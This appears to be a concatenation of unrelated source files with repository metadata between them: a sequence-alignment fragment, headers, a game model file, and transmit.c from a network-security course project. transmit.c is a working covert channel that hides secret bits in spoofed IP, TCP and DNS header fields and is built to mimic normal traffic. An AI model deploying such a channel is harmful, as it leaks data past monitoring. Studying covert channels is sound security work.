status; if (T->left[a] == c) isleftchild = TRUE; else if (T->right[a] == c) isleftchild = FALSE; else { status = eslFAIL; goto ERROR; } if (isleftchild) usei = (tr->rowsq == e2P_SL)? TRUE : FALSE; else usei = (tr->rowsq == e2P_SR)? TRUE : FALSE; ESL_ALLOC(pc, sizeof(float) * Kg); ESL_ALLOC(pa, sizeof(float) * Kg); for (z = 0; z < tr->N; z++) { prvst = (z>0)? tr->st[z-1] : tr->st[0]; switch(tr->st[z]) { case e2T_BB: break; case e2T_IB: if (usei) { irate += 1.0; if (prvst == e2T_BB) brate += 1.0; } break; case e2T_SS: psq_ProfProbs(tr->k[z], sqa, pa); psq_ProfProbs((usei)? tr->i[z]:tr->j[z], sqc, pc); srate += 1.0 - esl_vec_FDot(pc, pa, Kg); n ++; break; case e2T_DS: if (usei) drate += 1.0; else { psq_ProfProbs(tr->k[z], sqa, pa); psq_ProfProbs(tr->j[z], sqc, pc); srate += 1.0 - esl_vec_FDot(pc, pa, Kg); } n ++; break; case e2T_IS: if (usei) { irate += 1.0; if (prvst == e2T_SS || prvst == e2T_DS) brate += 1.0; } break; case e2T_SD: if (!usei) drate += 1.0; else { psq_ProfProbs(tr->k[z], sqa, pa); psq_ProfProbs(tr->i[z], sqc, pc); srate += 1.0 - esl_vec_FDot(pc, pa, Kg); } n ++; break; case e2T_DD: drate += 1.0; n ++; break; case e2T_ID: if (usei) { irate += 1.0; if (prvst == e2T_SD || prvst == e2T_DD) brate += 1.0; } break; case e2T_BI: if (!usei) { irate += 1.0; if (prvst == e2T_BB) brate += 1.0; } break; case e2T_SI: if (!usei) { irate += 1.0; if (prvst == e2T_SS || prvst == e2T_SD) brate += 1.0; } break; case e2T_DI: if (!usei) { irate += 1.0; if (prvst == e2T_DS || prvst == e2T_DD) brate += 1.0; } break; case e2T_II: if (!usei) { irate += 1.0; if (prvst == e2T_IB || prvst == e2T_IS || prvst == e2T_ID) brate += 1.0; } break; case e2T_EE: break; default: status = eslFAIL; goto ERROR; } } if (n > 0.) { srate *= 100/(float)n; drate *= 100/(float)n; brate *= 100/(float)n; irate *= 100/(float)n; } *ret_srate = srate; *ret_drate = drate; *ret_brate = brate; *ret_irate = irate; if (pc) free(pc); if (pa) free(pa); return eslOK; ERROR: if (pc) free(pc); if (pa) free(pa); return status; } /***************************************************************** * @LICENSE@ *****************************************************************/
34.10859
182
0.568971
a4cd543fa8b8759d243996f25048c4a9ce19e0ab
27,866
c
C
Subliminal Network Channels/transmit.c
ispoleet/Network-Security
2f1eae7b3e965e42d55526f02dab9bbe40f9e047
[ "MIT" ]
54
2016-07-22T02:42:51.000Z
2022-03-28T01:44:02.000Z
Subliminal Network Channels/transmit.c
Ssorav/Network-Security
2f1eae7b3e965e42d55526f02dab9bbe40f9e047
[ "MIT" ]
null
null
null
Subliminal Network Channels/transmit.c
Ssorav/Network-Security
2f1eae7b3e965e42d55526f02dab9bbe40f9e047
[ "MIT" ]
42
2016-08-09T03:52:44.000Z
2022-02-10T20:58:50.000Z
// ------------------------------------------------------------------------------------------------ /* Purdue CS528 - Network Security - Spring 2016 ** Final Project: Subliminal Network Channels ** Kyriakos Ispoglou (ispo) ** _ _______ ** | | _ (_______) ** ___ _ _| |__ ____ _____ _| |_ _ ** /___) | | | _ \| _ \| ___ (_ _) | | ** |___ | |_| | |_) ) | | | ____| | |_ | |_____ ** (___/|____/|____/|_| |_|_____) \__) \______) ** ** subnet C - Version 1.0 ** ** ** transmit.c ** ** This file sends some data to a remote destination using covert channels. Three types of ** covert channels are available with 2 options in each channel: ** [1] ICMP covert channel: Use 16 bits from IP ID ** ** [2] TCP covert channel: Use 16 bits from IP ID + 32 bits from TCP sequence number ** + 14 bits from TCP source port ** ** [3] DNS covert channel: Use 16 bits from IP ID + 16 bits from DNS ID + 14 bits from ** UDP source port ** ** Each method can send packets that are exactly like normal packets, except that the values ** in these fields contain information. Each method can send packets that are 'requests' or ** 'responses'. For instance: ** [1]. ICMP ping echo and reply ** ** [2]. TCP SYN and [ACK, RST] ** ** [3]. DNS query and response (with some dummy addresses) ** ** ** Note the way that the packets get constructed and how the concept of encapsulation applies ** here: Each function implements a protocol and gets as payload the output of a function that ** implements a higher level protocol. ** ** Usually the source port should be an ephemeral random port (2 MSBits are set). That's why ** we use only 14 out of 16 bits for source port. In the case that at least 1 device is behind ** NAT, then source ports will be change by NAT, so can't use these 14 bits (--nat option) ** Some NATs may also change TCP sequence numbers to make them more secure. In that case the ** TCP covert channel doesn't work. ** ** In the best case we can have 62 bits per packet, so the bandwidth is very small. ** ** In [1], authors suggest to use 24LBits of TCP sequence number and not 32 to make it more ** stealthy, but here we use the whole 32 bits. ** ** NOTE: If you do any changes here, don't forget to keep receive.c consistent ** ** References: ** [1]. Embedding Covert Channels into TCP/IP: ** http://sec.cs.ucl.ac.uk/users/smurdoch/papers/ih05coverttcp.pdf ** ** ** * * * ---===== TODO list =====--- * * * ** ** [1]. Add more types of packets ** ** [2]. Check alignment issues in mk_dns_pkt() ** ** [3]. Fix destination ports in repsponses. TCP response is not exactly the 'answer' to ** TCP request: in TCP reply, sequence number should be 0 (when RST is set), and ** destination port should be equal with source port on request. The same with DNS. */ // ------------------------------------------------------------------------------------------------ #include "subnetc.h" #include "transmit.h" // globals for transmission #define IPHDR_LEN sizeof(struct iphdr) // IP header length #define UDPHDR_LEN sizeof(struct udphdr) // UDP header length #define TCPHDR_LEN sizeof(struct tcphdr) // TCP header length #define ICMPHDR_LEN sizeof(struct icmphdr) // ICMP header length #define DNSHDR_LEN sizeof(struct dnshdr) // DNS header length #define PING_PAYLOAD "\x00\x00\x00\x00\x00\x00\x00\x00" \ "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \ "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \ "\x30\x31\x32\x33\x34\x35\x36\x37" #define PING_PAYLOAD_LEN 0x30 // don't use sizeof (NULL byte is included) #define DNS_FLAG_RESP 0x8400 // flags for DNS response packet #define DNS_FLAG_QUES 0x0100 // flags for DNS question packet #define DUMMY_DOMAIN "\03foo\05risvc\03net\00" // a dummy domain #define DUMMY_DOMAIN_LEN 15 // its length #define DUMMY_DOMAIN_IP "99.99.99.99" // and it's dummy IP address #define NS_DOMAIN "\04myns\05risvc\03net\00" // a dummy nameserver #define NS_DOMAIN_LEN 16 // and its length #define DNS_REQUEST 0x10 // DNS request method (value doesn't matter) #define DNS_RESPONSE 0x20 // DNS response method #define TTL 86400 // Time-To-Live (1D) #define BIG_BUF_LEN 1024 // a big buffer for temporary storage // ------------------------------------------------------------------------------------------------ /* ** chksum(): Calculate checksum of a specific buffer. ** ** Arguments: buf (byte*) : buffer to calculate its checksum ** buflen (size_t) : buffer's size inb bytes ** ** Return Value: The buffer's checksum in BIG endian. */ uint16_t chksum( byte buf[], size_t buflen ) { uint32_t sum = 0, i; // checksum, iterator if( buflen < 1 ) return 0; // if buffer is empty, exit for(i=0; i<buflen-1; i+=2) sum += *(word*)&buf[i]; // add all half-words together if( buflen & 1 ) sum += buf[buflen - 1]; // if you missed last byte, add it return ~((sum >> 16) + (sum & 0xffff)); // fold high to low order word // return 1's complement } // ------------------------------------------------------------------------------------------------ /* ** mk_ip_pkt(): Generate an IP packet, with a given payload. If the upper layer protocol is ** TCP or UDP, then we also have to caclulate the checksum of the pseudo header, which is ** part of the upper layer protocol. The pseudo header contains the header and the payload ** of TCP/UDP plus the following fields from IP: source and destination IP, protocol a ** reserved byte (which is 0) and packet's total length. ** ** Arguments: id (uint16_t*) : IP ID ** proto (byte) : upper layer protocol ** src (char*) : source IP address ** dst (char*) : destination IP address ** payload (byte*) : packet payload ** len (int*) : payload length (IN/OUT) ** ** Return Value: A pointer to payload augmented with IP header. len will contain the updated ** length. If an error occurs, function returns NULL. */ byte *mk_ip_pkt( uint16_t id, byte proto, char *src, char *dst, byte *payload, int *len ) { struct iphdr *iph; // IP header byte *pkt; // packet buffer if( !(pkt = realloc(payload, IPHDR_LEN + *len)) ) { // extend payload to include IP header *len = -1; return NULL; } memmove(&pkt[IPHDR_LEN], pkt, *len); // shift payload *len += IPHDR_LEN; // adjust length iph = (struct iphdr*) pkt; // process IP header /* ------------------------------------------------------------------------ * The problem: TCP/UDP checksum is the checksum of the entire TCP/UDP * packet plus a special pseudo-header which contains: src ip, dst ip, a * reserved byte, protocol number and length from TCP/UDP header. Caclulating * checksum of this pseudo-header can end up in really ugly code. A nice * trick is to fill the fields of the pseudo-header in the IP/UDP headers, * leaving all other fields 0 (which is not affect the checksum calculation). * * The only problem here is the alignment. However it happens that the fields * in the pseudo-header have the same alignment with the IP/UDP headers, so * we're fine here :) * ------------------------------------------------------------------------ */ bzero(pkt, IPHDR_LEN); // zero out header first /* fill pseudo-header fields in IP header */ iph->saddr = inet_addr(src); // source IP (may be spoofed) iph->daddr = inet_addr(dst); // destination IP iph->protocol = proto; // upper layer protocol iph->tot_len = htons(*len - IPHDR_LEN); // packet's total length /* time for our trick. pseudo-header is ready. calculate checksum, if needed */ if( proto == IPPROTO_UDP ) { struct udphdr *udph = (struct udphdr*) (iph + 1); udph->check = 0; // set to 0 for now udph->check = chksum(pkt, *len); // checksum of pseudo-header + payload } else if( proto == IPPROTO_TCP ) { struct tcphdr *tcph = (struct tcphdr*) (iph + 1); tcph->check = 0; // set to 0 for now tcph->check = chksum(pkt, *len); // checksum of pseudo-header + payload } /* fill the rest of IP header */ iph->version = 4; // IPv4 iph->ihl = 5; // no options iph->tos = 0; // no QoS iph->tot_len = htons( *len ); // packet's total length iph->id = htons( id ); // hide information here iph->frag_off = 0; // no fragments iph->ttl = 64; // TTL iph->check = 0; // set to 0 for now iph->check = chksum( pkt, 20 ); // checksum of the header return pkt; // return packet } // ------------------------------------------------------------------------------------------------ /* ** mk_ping_pkt(): Generate a ping packet. To make this packet indistinguishable from normal ** pings, a fixed payload is given. Note that there's no information leak here. The actual ** leak is on IP ID. However we should set a payload for that IP packet and an ICMP payload ** seems pretty good. ** ** Arguments: type (uint16_t) : ping type (request/response) ** len (int*) : packet length (OUT) ** ** Return Value: A pointer containing the ping packet. len will contain the updated length. ** NULL on failure. */ byte *mk_ping_pkt( uint16_t type, int *len ) { byte *pkt = calloc( ICMPHDR_LEN + PING_PAYLOAD_LEN, 1 ); struct icmphdr *icmph = (struct icmphdr*) pkt; if( !pkt ) { *len = -1; return NULL; } // abort on failure /* fill ICMP header and calculate checksum on the whole packet */ icmph->type = type; // ICMP echo request/reply icmph->code = 0; // code is 0 for pings icmph->checksum = 0; // set to 0 for now /* copy packet payload */ memcpy( &pkt[ICMPHDR_LEN], PING_PAYLOAD, PING_PAYLOAD_LEN ); *len = ICMPHDR_LEN + PING_PAYLOAD_LEN; // adjustlength icmph->checksum = chksum(pkt, *len); // calc checksum now return pkt; // return packet } // ------------------------------------------------------------------------------------------------ /* ** mk_tcp_pkt(): Generate a TCP control packet (with no payload). This packet will be the payload ** of an IP packet, so the checksum is not calculated here, but on mk_ip_pkt(). ** ** Arguments: sport (uint16_t) : source port ** dport (uint16_t) : destination port ** seq (uint32_t) : sequence number ** ack (uint32_t) : acknownledgement number ** len (int*) : packet length (OUT) ** ** Return Value: A pointer containing the TCP packet. len will contain the updated length. NULL ** on failure. */ byte *mk_tcp_pkt( uint16_t sport, uint16_t dport, uint32_t seq, uint32_t ack, byte flags, int *len ) { byte *pkt = calloc( TCPHDR_LEN, 1 ); struct tcphdr *tcph = (struct tcphdr*) pkt; if( !pkt ) { *len = -1; return NULL; } // abort on failure *len = TCPHDR_LEN; // set packet length tcph->source = htons( sport ); // source port tcph->dest = htons( dport ); // destination port tcph->seq = htonl( seq ); // sequence number tcph->ack_seq = htonl( ack ); // acknownledgement number tcph->doff = 5; // header size (no options) tcph->fin = (flags & FIN) != 0; // flags tcph->syn = (flags & SYN) != 0; // tcph->rst = (flags & RST) != 0; // tcph->psh = (flags & PSH) != 0; // tcph->ack = (flags & ACK) != 0; // tcph->urg = (flags & URG) != 0; // // tcph->ecn = flags & ECN != 0; // tcph->cwr = flags & ECN != 0; tcph->window = htons( 5840 ); // max allowed window size tcph->check = 0; // set to 0 for now tcph->urg_ptr = 0; // no urgent data return pkt; // return TCP packet } // ------------------------------------------------------------------------------------------------ /* ** mk_udp_pkt(): Generate a UDP packet with a given payload. As in mk_tcp_pkt(), checksum is not ** calculated here. ** ** Arguments: sport (uint16_t) : source port ** dport (uint16_t) : destination port ** payload (byte*) : packet payload ** len (int*) : payload length (IN/OUT) ** ** Return Value: A pointer to payload augmented with UDP header. len will contain the updated ** length. NULL on failure. */ byte *mk_udp_pkt( uint16_t sport, uint16_t dport, byte *payload, int *len ) { struct udphdr *udph; // UDP header byte *pkt; // packet buffer if( !(pkt = realloc(payload, UDPHDR_LEN + *len)) ){ // extend payload to include IP header *len = -1; return NULL; } memmove(&pkt[UDPHDR_LEN], pkt, *len); // shift down payload to insert headers *len += UDPHDR_LEN; // adjust length udph = (struct udphdr*) pkt; // UDP header within packet /* fill pseudo-header fields in UDP header */ udph->source = htons(sport); // source port udph->dest = htons(dport); // destination port udph->len = htons(*len); // packet length udph->check = 0; // 0 return pkt; // return packet } // ------------------------------------------------------------------------------------------------ /* ** mk_dns_pkt(): Generate A DNS packet. As mk_ping_pkt() the goal here is to create a DNS packet ** which is indistinguishable from normal DNS requests/responses and hide information in ID ** field. This function supports only 2 types of DNS messages: ** 1. A DNS request for a dummy domain ** 2. A DNS response for that domain with an A record in it and an dummy authoritative ** nameserver RR for that domain. ** ** Note that the goal is to leak information not to make normal DNS queries. ** ** ** Arguments: type (byte) : type of packet (request/response) ** id (uint16_t) : DNS ID ** len (int*) : packet length (OUT) ** ** Return Value: A pointer containing the DNS packet. len will contain the updated length. NULL ** on failure. */ byte *mk_dns_pkt( uint16_t id, byte type, int *len ) { byte *pkt = calloc( BIG_BUF_LEN, 1 ); // allocate somethig very big for now struct dnshdr *dnsh = (struct dnshdr*) pkt; // DNS header if( !pkt ) { *len = -1; return NULL; } // abort on failure /* DNS request : 1 question */ /* DNS response: 1 question, 1 answer, 1 nameserver */ dnsh->id = htons( id ); dnsh->flags = htons( type == DNS_REQUEST ? DNS_FLAG_QUES : DNS_FLAG_RESP ); dnsh->ques_cnt = htons( 1 ); dnsh->ansr_cnt = htons( type == DNS_REQUEST ? 0 : 1 ); dnsh->ns_cnt = htons( type == DNS_REQUEST ? 0 : 1 ); dnsh->add_cnt = htons( 0 ); *len = DNSHDR_LEN; // set size /* set the query first */ memcpy(&pkt[*len], DUMMY_DOMAIN, DUMMY_DOMAIN_LEN); // copy the domain *len += DUMMY_DOMAIN_LEN; // // TODO: Check if we have issues with alignment! // *(uint16_t*)&pkt[*len] = htons(A); // set type *(uint16_t*)&pkt[*len + 2] = htons(IN); // and class *len += 4; // adjust packet's length /* set the DNS response (is needed) */ if( type == DNS_RESPONSE ) { /* set the answer RR first */ /* 0xc0 -> pointer to a name string * 0x0c -> query string is at offset 12 (after DNS header) */ *(uint16_t*)&pkt[*len] = htons( 0xc000 | DNSHDR_LEN ); *(uint16_t*)&pkt[*len + 2] = htons( A ); // address type *(uint16_t*)&pkt[*len + 4] = htons( IN ); // internet class *(uint32_t*)&pkt[*len + 6] = htonl( TTL ); // time to live *len += 10; // adjust size /* An A RR. rdata is the resolved IP address */ *(uint16_t*)&pkt[*len + 0] = htons(4); *(uint32_t*)&pkt[*len + 2] = inet_addr(DUMMY_DOMAIN_IP); *len += 6; // adjust size /* then, set the nameserver RR */ *(uint16_t*)&pkt[*len] = htons( 0xc000 | DNSHDR_LEN ); *(uint16_t*)&pkt[*len + 2] = htons( NS ); // nameserver type *(uint16_t*)&pkt[*len + 4] = htons( IN ); // internet class *(uint32_t*)&pkt[*len + 6] = htonl( TTL ); // time to live *len += 10; // adjust size /* An NS RR. rdata is the nameserver's domain */ *(uint16_t*)&pkt[*len] = htons(NS_DOMAIN_LEN+2);// +1 for 1st prepebded byte +1 for NULL *len += 2; // adjust size memcpy(&pkt[*len], NS_DOMAIN, NS_DOMAIN_LEN); // copy nameserver domain *len += NS_DOMAIN_LEN; // adjust length } /* buffer was too big. Truncate it */ if( !(pkt = realloc(pkt, *len)) ){ *len = -1; return NULL; } return pkt; // return packet } // ------------------------------------------------------------------------------------------------ /* ** snd_pkt(): Send an (possibly spoofed) IP packet. ** ** Arguments: dst (char*) : destination IP address ** pkt (byte*) : packet to send ** len (int) : packet length ** ** Return Value: 0 on success, -1 on failure. */ int snd_pkt( char *dst, byte *pkt, int len ) { int sd, on = 1; // raw socket descriptor / flag struct sockaddr_in trg_addr = { // target's address information .sin_zero = { 0,0,0,0,0,0,0,0 }, // zero this out .sin_family = AF_INET, // IPv4 .sin_port = 0, // ignore this .sin_addr.s_addr = inet_addr(dst) // set destination address }; /* make a raw socket */ if((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("[-] Error! Cannot create raw socket"); return -1; } /* inform kernel that we have added packet headers */ if( setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0 ) { perror("[-] Error! Cannot set IP_HDRINCL"); close( sd ); // close socket return -1; } /* send spoofed packet (set routing flags to 0) */ if( sendto(sd, pkt, len, 0, (struct sockaddr*)&trg_addr, sizeof(trg_addr)) < 0 ) { perror("[-] Error! Cannot send spoofed packet"); close( sd ); // close socket return -1; } else ;// prnt_dbg(DBG_LVL_2, "[+] Raw IP packet sent successfully to %s.\n", dst); close( sd ); // close socket return 0; // success! } // ------------------------------------------------------------------------------------------------ /* ** transmit(): Send a small secret through a covert channel. The covert channel here contains ** some fields in the packet headers which supposed to be random. Packets send through this ** function are the same with normal packets, except that the values in the "random" fields ** contain the secret bits. ** ** This function supports 3 types of covert channels: ** [1]. ICMP packets: 16b in IP ID ** [2]. TCP packets : 16b in IP ID + 14b in source port + 32b in sequence number = 62b ** [3]. DNS packets : 16 bits in IP ID + 16 bits in DNS ID = 32 bits ** ** Each of the above types can either be a "request" packet or a "reply" packet. In case ** that we want a bidirectional communication, we the one side sends something (a request) ** the other side should reply with a response of this request. This way detection is even ** harder as we mimic the normal traffic. ** ** Please refer to the beginning of the file for a discussion on why we're using these ** fields as covert channels ** ** ** Arguments: secret (byte*) : a binary array containing the secret to send ** len (int) : length of that array ** dstip (char*) : destination IP address ** method (int) : method to use for transmission ** ack (uint32_t) : TCP ACK number (set to 0). Used only with TCP response method ** ** Return Value: 0 on success, -1 on failure. */ int transmit( byte *secret, int len, char *dstip, int method, uint32_t ack ) { static int pktcnt = 1; // packet counter byte *pkt; // generated packet byte proto; // packet protocol switch( method & COVERT_MASK_HIGH & ~COVERT_NAT ) { // check if exactly 1 upper method is set case COVERT_REQ : case COVERT_RESP: break; // we're ok here default: // 0 or 2 methods set printf("[-] Error! transmit(): Invalid method.\n"); return -1; // failure } /* Note how beautifully we can apply encapsulation :) */ switch( method & COVERT_MASK_LOW ) // check lower method { // -------------------------------------------------------------------- case COVERT_ICMP: // send ICMP packet? proto = IPPROTO_ICMP; // set protocol pkt = mk_ping_pkt(method & COVERT_REQ ? ICMP_ECHO : ICMP_ECHOREPLY, &len); break; // -------------------------------------------------------------------- case COVERT_TCP: // send TCP packet? (mimic HTTP traffic) if( len < 48 + (method & COVERT_NAT ? 0 : 14) ) return -1; // check length first proto = IPPROTO_TCP; // set protocol pkt = mk_tcp_pkt( // make a TCP control packet (method & COVERT_NAT) ? // leak secret in 14 LSBits of source port TCP_SPORT : // if NAT is disabled 0xc000 | pack(&secret[48], 14), TCP_DPORT, // destination port is fixed (80) pack(&secret[16], 32), // the next 32 bits to ack, // acknownledgement number method & COVERT_REQ ? SYN : RST | ACK, &len // packet length (fixed) ); break; // -------------------------------------------------------------------- case COVERT_DNS: // send DNS packet? if( len < 32 + (method & COVERT_NAT ? 0 : 14) ) return -1; // check length first proto = IPPROTO_UDP; // set protocol pkt = mk_udp_pkt( // make a UDP packet (method & COVERT_NAT) ? // leak secret in 14 LSBits of source port TCP_SPORT : // if NAT is disabled 0xc000 | pack(&secret[32], 14), UDP_DPORT, // destination port is fixed (53) mk_dns_pkt( // make a DNS packet pack(&secret[16], 16), // set ID method & COVERT_REQ ? DNS_REQUEST : DNS_RESPONSE, &len // packet length ), &len // packet length ); break; // -------------------------------------------------------------------- default: printf("[-] Error! transmit(): Invalid method.\n"); return -1; // -------------------------------------------------------------------- } /* encapsulate the selection from above in an IP packet */ pkt = mk_ip_pkt( pack(secret, 16), // secret also goes here proto, // set protocol SOURCE_IP, // address can be spoofed dstip, // destination IP pkt, // encapsulate payload from above &len // payload length ); //prnt_dbg(DBG_LVL_2, "[+] #%d: Raw packet: ", pktcnt++ ); //prnt_buf(DBG_LVL_2, "", pkt, len,0); // print packet before you send it prnt_buf(DBG_LVL_2, "", secret, 62, 1); return snd_pkt(dstip, pkt, len); // send that packet // TODO Free pkt buffer } // ------------------------------------------------------------------------------------------------
47.634188
100
0.475992
137cfd1fa24f692a52619e21d0133af6d0b2bfec
234
h
C
contrib/libs/cxxsupp/libgcc/cxxabi.h
HeyLey/catboost
f472aed90604ebe727537d9d4a37147985e10ec2
[ "Apache-2.0" ]
33
2016-12-15T21:47:13.000Z
2020-10-27T23:53:59.000Z
contrib/libs/cxxsupp/libgcc/cxxabi.h
HeyLey/catboost
f472aed90604ebe727537d9d4a37147985e10ec2
[ "Apache-2.0" ]
6
2020-02-18T22:12:29.000Z
2020-02-18T22:31:26.000Z
contrib/libs/cxxsupp/libgcc/cxxabi.h
HeyLey/catboost
f472aed90604ebe727537d9d4a37147985e10ec2
[ "Apache-2.0" ]
14
2016-12-28T17:00:33.000Z
2022-01-16T20:15:27.000Z
#pragma once #if defined(__GNUC__) && defined(__cplusplus) extern "C" { void __cxa_throw_bad_array_length() __attribute__((weak, noreturn)); void __cxa_throw_bad_array_new_length() __attribute__((weak, noreturn)); } #endif
21.272727
76
0.747863
d1e0307eb0649d50c0e584c06abbf82f53ef8c81
406
h
C
init.h
SteinerGardeners/TrackC-Version1
39eba82b1b2c2b0e0fe210017c0138348ae5cefb
[ "MIT" ]
null
null
null
init.h
SteinerGardeners/TrackC-Version1
39eba82b1b2c2b0e0fe210017c0138348ae5cefb
[ "MIT" ]
null
null
null
init.h
SteinerGardeners/TrackC-Version1
39eba82b1b2c2b0e0fe210017c0138348ae5cefb
[ "MIT" ]
null
null
null
#pragma once #include <stack> #include "graph.h" #include "tree.h" #include "edge.h" Tree spanningTree(Graph& G, Vertex root); Tree incrementalDijks3(Graph& G, Vertex root, vector<int> &terminalsMap, vector<Vertex> &terminals); // the fucntion below creates an initial tree and returns its weight Weight weightInitialTree(Graph& G, Vertex root, vector<Vertex> &terminalsMap, vector<Vertex> &terminals);
31.230769
105
0.761084
4dce4dec1d2aec20d6adb4f5bab0965dd910b9fa
576
c
C
src/lib/nhhtml/Common/About.c
neonkingfr/netzhaut
d4fc9b23cbc531f0f1397ff9a83514661df458d9
[ "MIT" ]
11
2021-04-19T14:48:09.000Z
2022-03-11T18:52:06.000Z
src/lib/nhhtml/Common/About.c
neonkingfr/netzhaut
d4fc9b23cbc531f0f1397ff9a83514661df458d9
[ "MIT" ]
1
2022-03-14T09:58:30.000Z
2022-03-14T09:58:30.000Z
src/lib/nhhtml/Common/About.c
netzdevs/netzhaut
d4fc9b23cbc531f0f1397ff9a83514661df458d9
[ "MIT" ]
3
2021-09-20T10:28:20.000Z
2021-12-26T19:48:00.000Z
// LICENSE NOTICE ================================================================================== /** * netzhaut - Web Browser Engine * Copyright (C) 2020 The netzhaut Authors * Published under MIT */ // INCLUDE ========================================================================================== #include "About.h" // VERSION ========================================================================================= int NH_HTML_VERSION_P[4] = { NH_HTML_API_VERSION, NH_HTML_MAJOR_VERSION, NH_HTML_MINOR_VERSION, NH_HTML_PATCH_VERSION, };
26.181818
101
0.375
9a5685df5868055e048934be719e3a9b556b6c0b
5,180
c
C
sm64ex-nightly/actors/checkerboard_platform/model.inc.c
alex-free/sm64ex-creator
e7089df69fb43f266b2165078d94245b33b8e72a
[ "Intel", "X11", "Unlicense" ]
2
2022-03-12T08:27:53.000Z
2022-03-12T18:26:06.000Z
actors/checkerboard_platform/model.inc.c
Daviz00/sm64
fd2ed5e0e72d04732034919f8442f8d2cc40fd67
[ "Unlicense" ]
null
null
null
actors/checkerboard_platform/model.inc.c
Daviz00/sm64
fd2ed5e0e72d04732034919f8442f8d2cc40fd67
[ "Unlicense" ]
null
null
null
// Checkerboard Platform // 0x0800C828 static const Lights1 checkerboard_platform_seg8_lights_0800C828 = gdSPDefLights1( 0x3f, 0x3f, 0x3f, 0xff, 0xff, 0xff, 0x28, 0x28, 0x28 ); // 0x0800C840 ALIGNED8 static const u8 checkerboard_platform_seg8_texture_0800C840[] = { #include "actors/checkerboard_platform/checkerboard_platform_side.rgba16.inc.c" }; // 0x0800CC40 ALIGNED8 static const u8 checkerboard_platform_seg8_texture_0800CC40[] = { #include "actors/checkerboard_platform/checkerboard_platform.rgba16.inc.c" }; // 0x0800D440 static const Vtx checkerboard_platform_seg8_vertex_0800D440[] = { {{{ -255, -25, 154}, 0, { 1504, 480}, {0x81, 0x00, 0x00, 0xff}}}, {{{ -255, 26, 154}, 0, { 1504, 0}, {0x81, 0x00, 0x00, 0xff}}}, {{{ -255, 26, -153}, 0, { 0, 0}, {0x81, 0x00, 0x00, 0xff}}}, {{{ -255, -25, -153}, 0, { 0, 480}, {0x81, 0x00, 0x00, 0xff}}}, {{{ 256, -25, -153}, 0, { 1504, 480}, {0x7f, 0x00, 0x00, 0xff}}}, {{{ 256, 26, 154}, 0, { 0, 0}, {0x7f, 0x00, 0x00, 0xff}}}, {{{ 256, -25, 154}, 0, { 0, 480}, {0x7f, 0x00, 0x00, 0xff}}}, {{{ 256, 26, -153}, 0, { 1504, 0}, {0x7f, 0x00, 0x00, 0xff}}}, }; // 0x0800D4C0 static const Vtx checkerboard_platform_seg8_vertex_0800D4C0[] = { {{{ 256, -25, 154}, 0, { 2528, 992}, {0x00, 0x81, 0x00, 0xff}}}, {{{ -255, -25, -153}, 0, { 0, -512}, {0x00, 0x81, 0x00, 0xff}}}, {{{ 256, -25, -153}, 0, { 2528, -512}, {0x00, 0x81, 0x00, 0xff}}}, {{{ 256, 26, -153}, 0, { 2528, -512}, {0x00, 0x7f, 0x00, 0xff}}}, {{{ -255, 26, 154}, 0, { 0, 992}, {0x00, 0x7f, 0x00, 0xff}}}, {{{ 256, 26, 154}, 0, { 2528, 992}, {0x00, 0x7f, 0x00, 0xff}}}, {{{ -255, 26, -153}, 0, { 0, -512}, {0x00, 0x7f, 0x00, 0xff}}}, {{{ -255, -25, -153}, 0, { 2528, 480}, {0x00, 0x00, 0x81, 0xff}}}, {{{ -255, 26, -153}, 0, { 2528, 0}, {0x00, 0x00, 0x81, 0xff}}}, {{{ 256, 26, -153}, 0, { 0, 0}, {0x00, 0x00, 0x81, 0xff}}}, {{{ 256, -25, -153}, 0, { 0, 480}, {0x00, 0x00, 0x81, 0xff}}}, {{{ 256, -25, 154}, 0, { 2528, 480}, {0x00, 0x00, 0x7f, 0xff}}}, {{{ -255, 26, 154}, 0, { 0, 0}, {0x00, 0x00, 0x7f, 0xff}}}, {{{ -255, -25, 154}, 0, { 0, 480}, {0x00, 0x00, 0x7f, 0xff}}}, {{{ 256, 26, 154}, 0, { 2528, 0}, {0x00, 0x00, 0x7f, 0xff}}}, {{{ -255, -25, 154}, 0, { 0, 992}, {0x00, 0x81, 0x00, 0xff}}}, }; // 0x0800D5C0 - 0x0800D618 const Gfx checkerboard_platform_seg8_dl_0800D5C0[] = { gsDPSetTextureImage(G_IM_FMT_RGBA, G_IM_SIZ_16b, 1, checkerboard_platform_seg8_texture_0800C840), gsDPLoadSync(), gsDPLoadBlock(G_TX_LOADTILE, 0, 0, 16 * 32 - 1, CALC_DXT(32, G_IM_SIZ_16b_BYTES)), gsSPLight(&checkerboard_platform_seg8_lights_0800C828.l, 1), gsSPLight(&checkerboard_platform_seg8_lights_0800C828.a, 2), gsSPVertex(checkerboard_platform_seg8_vertex_0800D440, 8, 0), gsSP2Triangles( 0, 1, 2, 0x0, 0, 2, 3, 0x0), gsSP2Triangles( 4, 5, 6, 0x0, 4, 7, 5, 0x0), gsSPEndDisplayList(), }; // 0x0800D618 - 0x0800D680 const Gfx checkerboard_platform_seg8_dl_0800D618[] = { gsDPSetTextureImage(G_IM_FMT_RGBA, G_IM_SIZ_16b, 1, checkerboard_platform_seg8_texture_0800CC40), gsDPLoadSync(), gsDPLoadBlock(G_TX_LOADTILE, 0, 0, 32 * 32 - 1, CALC_DXT(32, G_IM_SIZ_16b_BYTES)), gsSPVertex(checkerboard_platform_seg8_vertex_0800D4C0, 16, 0), gsSP2Triangles( 0, 1, 2, 0x0, 3, 4, 5, 0x0), gsSP2Triangles( 3, 6, 4, 0x0, 7, 8, 9, 0x0), gsSP2Triangles( 7, 9, 10, 0x0, 11, 12, 13, 0x0), gsSP2Triangles(11, 14, 12, 0x0, 0, 15, 1, 0x0), gsSPEndDisplayList(), }; // 0x0800D680 - 0x0800D710 const Gfx checkerboard_platform_seg8_dl_0800D680[] = { gsDPPipeSync(), gsDPSetCombineMode(G_CC_MODULATERGB, G_CC_MODULATERGB), gsSPClearGeometryMode(G_SHADING_SMOOTH), gsDPSetTile(G_IM_FMT_RGBA, G_IM_SIZ_16b, 0, 0, G_TX_LOADTILE, 0, G_TX_WRAP | G_TX_NOMIRROR, G_TX_NOMASK, G_TX_NOLOD, G_TX_WRAP | G_TX_NOMIRROR, G_TX_NOMASK, G_TX_NOLOD), gsSPTexture(0xFFFF, 0xFFFF, 0, 